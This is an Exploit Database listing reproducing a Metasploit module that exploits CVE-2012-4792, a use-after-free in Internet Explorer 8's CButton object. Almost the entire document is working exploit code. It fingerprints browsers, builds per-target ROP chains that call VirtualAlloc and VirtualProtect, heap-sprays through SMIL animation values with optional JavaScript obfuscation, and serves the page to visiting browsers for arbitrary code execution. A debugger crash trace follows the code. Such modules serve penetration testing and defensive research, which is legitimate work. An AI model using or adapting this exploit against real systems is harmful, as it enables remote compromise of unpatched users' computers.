Microsoft Internet Explorer – CButton Object Use-After-Free (Metasploit)

• Exploit Database
• 83 阅读

• 作者： Metasploit
  日期： 2013-01-02
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23785/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::RopDb
  	include Msf::Exploit::Remote::BrowserAutopwn
  	autopwn_info({
  		:ua_name=> HttpClients::IE,
  		:ua_minver=> "8.0",
  		:ua_maxver=> "8.0",
  		:javascript => true,
  		:os_name=> OperatingSystems::WINDOWS,
  		:rank => GoodRanking
  	})
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
  			'Description'=> %q{
  					This module exploits a vulnerability found in Microsoft Internet Explorer. A
  				use-after-free condition occurs when a CButton object is freed, but a reference
  				is kept and used again during a page reload, an invalid memory that's controllable
  				is used, and allows arbitrary code execution under the context of the user.
  
  					Please note: This vulnerability has been exploited in the wild targeting
  				mainly China/Taiwan/and US-based computers.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'eromang',
  					'mahmud ab rahman',
  					'juan vazquez',#Metasploit
  					'sinn3r',#Metasploit
  					'Peter Vreugdenhil'#New trigger & new exploit technique
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-4792' ],
  					[ 'US-CERT-VU', '154201' ],
  					[ 'BID', '57070' ],
  					[ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'],
  					[ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'],
  					[ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ],
  					[ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ],
  					[ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ],
  					[ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ],
  					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ]
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  					'Space'=> 1024,
  					'DisableNops'=> true
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Automatic', {} ],
  					[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ],
  					[ 'IE 8 on Windows Vista',{ 'Rop' => :jre} ],
  					[ 'IE 8 on Windows Server 2003',{ 'Rop' => :msvcrt } ],
  					[ 'IE 8 on Windows 7',{ 'Rop' => :jre} ]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Dec 27 2012",
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
  			], self.class)
  
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
  		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
  
  		ie_name = "IE #{ie}"
  
  		case nt
  		when '5.1'
  			os_name = 'Windows XP SP3'
  		when '5.2'
  			os_name = 'Windows Server 2003'
  		when '6.0'
  			os_name = 'Windows Vista'
  		when '6.1'
  			os_name = 'Windows 7'
  		else
  			# OS not supported
  			return nil
  		end
  
  		targets.each do |t|
  			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
  				print_status("Target selected as: #{t.name}")
  				return t
  			end
  		end
  
  		return nil
  	end
  
  	def ie8_smil(my_target, p)
  
  		case my_target['Rop']
  		when :msvcrt
  			case my_target.name
  			when 'IE 8 on Windows XP SP3'
  				align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
  				xchg_esp= Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
  			when 'IE 8 on Windows Server 2003'
  				align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
  				xchg_esp= Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
  			end
  		else
  			align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
  			xchg_esp= Rex::Text.to_unescape([0x7C348B05].pack("V*"))
  		end
  
  		padding= Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
  		js_payload = Rex::Text.to_unescape(p)
  
  		js = %Q|
  		unicorn = unescape("#{padding}");
  		for (i=0; i < 3; i++) {
  			unicorn += unescape("#{padding}");
  		}
  
  		unicorn += unescape("#{js_payload}");
  
  		animvalues = unescape("#{align_esp}");
  
  		for (i=0; i < 0xDC/4; i++) {
  			if (i == 0xDC/4-1) {
  				animvalues += unescape("#{xchg_esp}");
  			}
  			else {
  				animvalues += unescape("#{align_esp}");
  			}
  		}
  
  		animvalues += unicorn;
  
  		for(i = 0; i < 21; i++) {
  			animvalues += ";cyan";
  		}
  		|
  
  		if datastore['OBFUSCATE']
  			js = ::Rex::Exploitation::JSObfu.new(js)
  			js.obfuscate
  		end
  
  		return js
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V")[0].to_i
  	end
  
  	def nop
  		return make_nops(4).unpack("V")[0].to_i
  	end
  
  	def get_payload(t, cli)
  		code = payload.encoded
  
  		# No rop. Just return the payload.
  		return code if t['Rop'].nil?
  
  		case t['Rop']
  		when :msvcrt
  			case t.name
  			when 'IE 8 on Windows XP SP3'
  				rop_gadgets =
  				[
  					0x77c1e844, # POP EBP # RETN [msvcrt.dll]
  					0x77c1e844, # skip 4 bytes [msvcrt.dll]
  					0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
  					0xffffffff,
  					0x77c127e5, # INC EBX # RETN [msvcrt.dll]
  					0x77c127e5, # INC EBX # RETN [msvcrt.dll]
  					0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
  					0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
  					0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
  					0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
  					0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
  					0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
  					0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
  					0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
  					0x77c3048a, # POP EDI # RETN [msvcrt.dll]
  					0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
  					0x77c46efb, # POP ESI # RETN [msvcrt.dll]
  					0x77c2aacc, # JMP [EAX] [msvcrt.dll]
  					0x77c3b860, # POP EAX # RETN [msvcrt.dll]
  					0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
  					0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
  					0x77c35459# ptr to 'push esp #ret ' [msvcrt.dll]
  				].pack("V*")
  			when 'IE 8 on Windows Server 2003'
  				rop_gadgets =
  				[
  					0x77bb2563, # POP EAX # RETN
  					0x77ba1114, # <- *&VirtualProtect()
  					0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  					junk,
  					0x77bb0c86, # XCHG EAX,ESI # RETN
  					0x77bc9801, # POP EBP # RETN
  					0x77be2265, # ptr to 'push esp #ret'
  					0x77bb2563, # POP EAX # RETN
  					0x03C0990F,
  					0x77bdd441, # SUB EAX, 03c0940f(dwSize, 0x500 -> ebx)
  					0x77bb48d3, # POP EBX, RET
  					0x77bf21e0, # .data
  					0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
  					0x77bbfc02, # POP ECX # RETN
  					0x77bef001, # W pointer (lpOldProtect) (-> ecx)
  					0x77bd8c04, # POP EDI # RETN
  					0x77bd8c05, # ROP NOP (-> edi)
  					0x77bb2563, # POP EAX # RETN
  					0x03c0984f,
  					0x77bdd441, # SUB EAX, 03c0940f
  					0x77bb8285, # XCHG EAX,EDX # RETN
  					0x77bb2563, # POP EAX # RETN
  					nop,
  					0x77be6591# PUSHAD # ADD AL,0EF # RETN
  				].pack("V*")
  			end
  		else
  			rop_gadgets =
  			[
  				0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  				0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
  				0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
  				0x7c3415a2, # JMP [EAX] [msvcr71.dll]
  				0xffffffff,
  				0x7c376402, # skip 4 bytes [msvcr71.dll]
  				0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
  				0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
  				0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
  				0x7c344f87, # POP EDX # RETN [msvcr71.dll]
  				0xffffffc0, # Value to negate, will become 0x00000040
  				0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
  				0x7c34d201, # POP ECX # RETN [msvcr71.dll]
  				0x7c38b001, # &Writable location [msvcr71.dll]
  				0x7c347f97, # POP EAX # RETN [msvcr71.dll]
  				0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  				0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
  				0x7c345c30# ptr to 'push esp #ret ' [msvcr71.dll]
  				# rop chain generated with mona.py
  			].pack("V*")
  		end
  
  		rop_payload = rop_gadgets
  		case t['Rop']
  		when :msvcrt
  			rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  		else
  			rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
  		end
  		rop_payload << code
  		rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
  
  		return rop_payload
  	end
  
  	def load_exploit_html(my_target, cli)
  
  		p= get_payload(my_target, cli)
  		js = ie8_smil(my_target, p)
  
  		html = %Q|
  		<!doctype html>
  		<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
  		<head>
  		<meta>
  			<?IMPORT namespace="t" implementation="#default#time2">
  		</meta>
  
  		<script>
  		function helloWorld()
  		{
  			e_form = document.getElementById("formelm");
  			e_div = document.getElementById("divelm");
  
  			#{js}
  
  			for(i =0; i < 20; i++) {
  				document.createElement('button');
  			}
  			e_div.appendChild(document.createElement('button'))
  			e_div.firstChild.applyElement(e_form);
  
  			e_div.innerHTML = ""
  			e_div.appendChild(document.createElement('body'));
  
  			CollectGarbage();
  
  			try {
  				a = document.getElementById('myanim');
  				a.values = animvalues;
  			}
  			catch(e) {}
  		}
  
  		</script>
  		</head>
  		<body onload="eval(helloWorld())">
  		<t:ANIMATECOLOR id="myanim"/>
  		<div id="divelm"></div>
  		<form id="formelm">
  		</form>
  		</body>
  		</html>
  		|
  
  		return html
  	end
  
  	def on_request_uri(cli, request)
  		agent = request.headers['User-Agent']
  		uri = request.uri
  		print_status("Requesting: #{uri}")
  
  		my_target = get_target(agent)
  		# Avoid the attack if no suitable target found
  		if my_target.nil?
  			print_error("Browser not supported, sending 404: #{agent}")
  			send_not_found(cli)
  			return
  		end
  
  		html = load_exploit_html(my_target, cli)
  		html = html.gsub(/^\t\t/, '')
  		print_status("Sending HTML...")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  
  end
  
  
  =begin
  (87c.f40): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
  eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010206
  mshtml!CMarkup::OnLoadStatusDone+0x504:
  637848c3 ff90dc000000calldword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
  0:008> k
  ChildEBP RetAddr
  020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
  020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
  020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
  020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
  020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
  020bfd78 7e418734 mshtml!GlobalWndProc+0x183
  020bfda4 7e418816 USER32!InternalCallWinProc+0x28
  020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
  020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
  020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
  020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
  020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
  020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
  020bffec 00000000 kernel32!BaseThreadStart+0x37
  
  0:008> r
  eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
  eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
  mshtml!CMarkup::OnLoadStatusDone+0x504:
  637848c3 ff90dc000000calldword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
  =end
  

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